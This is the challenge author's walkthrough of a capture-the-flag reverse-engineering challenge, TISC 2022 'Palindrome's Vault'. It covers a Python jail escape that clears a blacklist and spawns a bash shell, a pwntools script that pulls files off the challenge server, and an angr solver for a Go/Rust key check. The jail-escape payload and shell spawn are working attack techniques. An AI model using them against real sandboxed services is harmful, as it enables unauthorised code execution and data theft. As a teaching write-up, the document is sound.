TISC 2022 Challenge 8 Walkthrough — Palindrome’s Vault

Arne Sim
CSIT tech blog
Published in
9 min readFeb 21, 2023

--

TISC 2022 Challenge 8 was Palindrome’s Vault, a Windows-based reverse engineering challenge. One of the top requirements when designing this challenge is that the challenge must NOT be “cReATiVE”.

Here’s a CTF meme on what I mean by “cReATiVE” (courtesy of @ret2jazzy from the CTF team, Perfect Blue).

Image courtesy of Jazzy (@ret2jazzy) from Twitter.

Challenges that require guessing are often not a good use of time and does not teach anything at the end of the day. Hence, a challenge like that would deviate from what I hope to achieve through this challenge, which is to allow players to learn a new trick or two :)

The Challenge

We managed to get a foothold on PALINDROME’s server! The foothold is a little restrictive but we believe a talented hacker like you can gain full control over the server!

To access server: nc chal02w3tgq6sy7hakz4q9oywcevzb7v6j1jpv.ctf.sg 46271

Upon first connection to the server.

Stage 1 — Python Jail

In the first stage, players are presented with a Python jail, and this can be confirmed by trying to call the print function.

Calling print().

To better enumerate the jail, one can print the global symbol table by calling print(globals()).

Printed global symbol table.

This command reveals a number of things, including the path of the python script. One thing that stands out is the ‘bl’ variable. It appears to contain a dictionary of random words but upon careful inspection, we can see some familiar keywords such as, “builtins”, “eval”, “exec”. If we try to enter any of these keywords in the shell, the message “Too naïve!” will be printed.

Output of trying the “exec” keyword.

This goes to show that this “bl” list is some sort of blacklist and we need to avoid the blacklisted words to proceed.

From here, there are several ways to achieve code execution. Initially, I intended for only one solution but after the play test, I realised that this challenge could be solved in several other ways. I then had plans to make the jail even more restricted but decided against it because I know that python jails are black-box challenges after all, which can be inherently “guessy”.

Therefore, players can be creative and come up with their own solutions for this stage! (Fun fact: only 2 out of the 4 players who cleared this challenge used the intended solution. Go check out how the other 2 solved this challenge!)

The intended solution

While most people know how to read the python global symbol table, it is not as widely known that this table is writeable. Since the table is writeable, one would usually be able to do bl = [] to set the “bl” list to an empty list to clear out the blacklist. But for this challenge, I made it a little more challenging by blacklisting the “=” character as well. So then, how do we clear out the blacklist?

As it turns out, in python, the __setitem__ dunder function is implicitly invoked when we use the assignment operator. So, instead of using the assignment operator, we can do

globals().__setitem__(“bl”,[]) 

to clear out the blacklist. Once we clear out the blacklist, achieving remote code execution is as simple as calling import pty; pty.spawn(“/bin/bash”).

Achieving code execution.

Exfiltrating files

Players are presented with 5 files upon reaching stage 2, one of which contains the instructions on how to proceed.

Reading “admin_notes.txt”.

Boss told me to use the key he gave me to decrypt the encrypted file. He mentioned that I could use the key verification program to check if I remembered the key correctly. Surely this program does not leak any information about the key. Or does it…?

The other 4 files are:

  1. liaj.py — the vulnerable python script to facilitate stage 1
  2. main.exe — from what the admin notes suggest, this is likely the “key verification program”
  3. helloffi.dll — likely used by the above executable
  4. qq.enc — from what the admin notes suggest, this is likely the encrypted file

So then, players will need to exfiltrate the files and one easy way to do so is by base64 encoding the files. Here is a sample script to complete stage 1:

from pwn import *
import base64

def getFile(r, filename):
r.sendlineafter(b'~$ ', b'base64 -w0 ' + filename)
out = r.recvuntil(b'PALINDROME@').replace(b'base64 -w0 ' + filename + b'\r\n', b'')[:-11]
file_content = base64.b64decode(out)
with open(filename, "wb") as f:
f.write(file_content)

if __name__ == "__main__":
r = remote("6ymvmb17v6ctx14vwducktahbrbcbmng.ctf.sg", 46271)

# Empty out blacklist
r.sendlineafter(b"shell: ", b'print(globals())')
r.sendlineafter(b'shell: ', b'globals().__setitem__(\'bl\',[])')
r.sendlineafter(b"shell: ", b'print(globals())')

# Get RCE
r.sendlineafter(b'shell: ', b'import pty; pty.spawn("/bin/bash")')

# Exfiltrate files
r.sendlineafter(b'~$ ', b'ls')
getFile(r, b'helloffi.dll')
getFile(r, b'main.exe')
getFile(r, b'qq.enc')

r.close()

Stage 2 — GoRust Key Check

This stage features a Golang binary that calls a key checker function from a Rust Dynamic-link library (DLL). This mechanism of calling a routine from a program written in another language is called foreign function interface (FFI) — fun fact: this is also why the DLL is named “helloffi.dll”.

Some players who have reached this stage may know that the source code of the Golang binary is released midway during the event itself. I originally intended for players to reverse engineer the Golang binary through a de-compiler but because the organizers did not expect players to be stuck on challenge 7 for so long, we came to an agreement to release the source code so that players get to try the final few challenges.

Partial Key Check 1

De-compilation of “main.exe”.

The first thing to note is that the Golang binary first calls the check() function which presumably would be the 1st partial key check. If the return value is not equal to 951, the program will proceed to call os.Exit() which will terminate the program. Otherwise, the program will proceed to check the 2nd partial key.

The check() function features 5 randomly generated numbers which are added together and compared with a constant number.

Seeding and generating 5 random numbers.
The 5 randomly generated numbers are summed together and later compared with a constant.

Despite the 5 seemingly randomly generated numbers, the comparisons seem to strangely ALWAYS have the same result. We can tell the results are always the same by inspecting the execution flow through dynamic analysis.

At this point, it is worth noting 3 things:

  1. There are 168 comparison statements.
  2. The comparison statements are bundled in groups of 8.
  3. The first comparison in each “group” is always false.

With nowhere else in the function to hide the partial key, it is a good indication that the key must be somewhere within the comparison statements. If we take a look at the ASCII binary character table now, it would be clear as to where the key may be hidden.

The result of each comparison represents the bit value of the partial key. If the comparison is True, the bit is ‘1’ and ‘0’ otherwise. Hence, the first 8 comparisons, [False, True, True, False, True, False, True, True] can be encoded as the binary string 01101011, which corresponds to the first letter ‘k’. By writing a quick python script, we’ll be able to extract the first partial key.

Output of python script.

Partial Key Check 2

One of the very first function called when the “hello” DLL export function is called is the strlen() function as we can see from our de-compilation.

strlen() called in the “hello” export function.

Since the binary only takes in one input, we can make an educated guess that strlen() will be called on our input string. But to be certain, we can confirm this with dynamic analysis.

We first set a breakpoint on the strlen() function and pass in a random string.

Breakpoint on strlen() function.

We see that our user supplied string is passed as argument through the RCX register.

Step over the strlen() function.

Stepping over the function returns the length of our supplied test string “1234567” in the RAX register.

Further down, we see that this value is compared with the constant number ‘9’ and failing to meet this comparison will cause the “Something’s wrong!” prompt to appear. This suggests that our 2nd partial key length needs to be of length 9.

String length compared with constant ‘9’.
Trying a string of length 9 confirms our theory.

Now, we could try to reverse engineer the key check function but given the limited time of a CTF, an automated solution would be much preferred. In this solution, I would make use of a Satisfiability Modulo Theories (SMT) solver to solve the challenge.

Before that, we would need to prepare the battlefield. Here are some things we would want to prepare:

  1. The “win” address
  2. The address of the execution paths we want to avoid
  3. The address of the exploration entry point

The “win” address is the code path taken when the correct partial key is entered. We need this to tell the simulation manager that the correct path is found. By using the “Correct!” output string, we can find this “win” address.

The “win” address as seen in IDA.

On the flip side, we also need the addresses of the code paths to avoid during exploration. This can similarly be found using the “Incorrect!” output string.

The “to avoid” address as seen in IDA.

To optimize the exploration, we also added 2 other addresses (0x180001446, 0x1800A4920) that we want to avoid.

Lastly, we have to decide at which address we want to start the exploration. A good place to start would be one we are familiar with.

The address to start exploration.

If you have been following, you would know where this is from!

With everything ready, we will simply write the Angr python script to solve for the partial key.

import binascii
import angr
import claripy

win = [0x1800025A2]
avoid = [0x1800025DB, 0x180001446, 0x1800A4920]

p = angr.Project("helloffi.dll", auto_load_libs=False)

# Key is ????????}
key_chars = [claripy.BVS("stdin_%d" % i, 8) for i in range(8)] + [claripy.BVV(b'}')]
stdin = claripy.Concat(*key_chars)

st = p.factory.blank_state(
addr=0x180001410,
stdin=stdin,
add_options={
angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY,
angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS,
},
)

# Set up the supplied input
st.memory.store(0x4000, stdin)
st.regs.r14 = 0x4000

# Add constraints that all characters are printable
for k in key_chars:
st.solver.add(k > 0x20)
st.solver.add(k <= 0x7F)

simgr = p.factory.simulation_manager(st)
simgr.explore(find=win, avoid=avoid)

# Print found key
if len(simgr.found) > 0:
for found in simgr.found:
print(found.posix.dumps(0))
else:
print("Nothing found!")

The final key is: key{th3_gR34t_E5c4p3_Art1st!!}

Getting the flag

After deriving the final key, players will be able to get the flag by decrypting the encrypted file and by reading the inverted QR code. For completeness, I have included the python script to retrieve the flag.

import re
import zipfile
import PIL.ImageOps
from PIL import Image
from pwn import xor
from pyzbar.pyzbar import decode

# Decrypt file using key
myfile = open('qq.enc', 'rb')
outdata = xor(myfile.read(), b"key{th3_gR34t_E5c4p3_Art1st!!}")
myfile.close()

# Output file
outfile = open('out.zip', 'wb')
outfile.write(outdata)
outfile.close()

# Unzip file
with zipfile.ZipFile("out.zip", 'r') as zip_ref:
zip_ref.extractall("out")

# Invert image
img = Image.open('out/output.png')
inverted_image = PIL.ImageOps.invert(img)
inverted_image.save("recovered.png")

# Read QR
data = decode(Image.open('recovered.png'))
print(re.search("TISC.*}", data[0][0].decode())[0])

Summary

Congratulations to all the players who have cleared stage 8 of TISC. I thoroughly enjoyed reading your writeups and the creative unintended solutions to the challenge. I hope to have brought value to the community and that everyone had fun!

--

--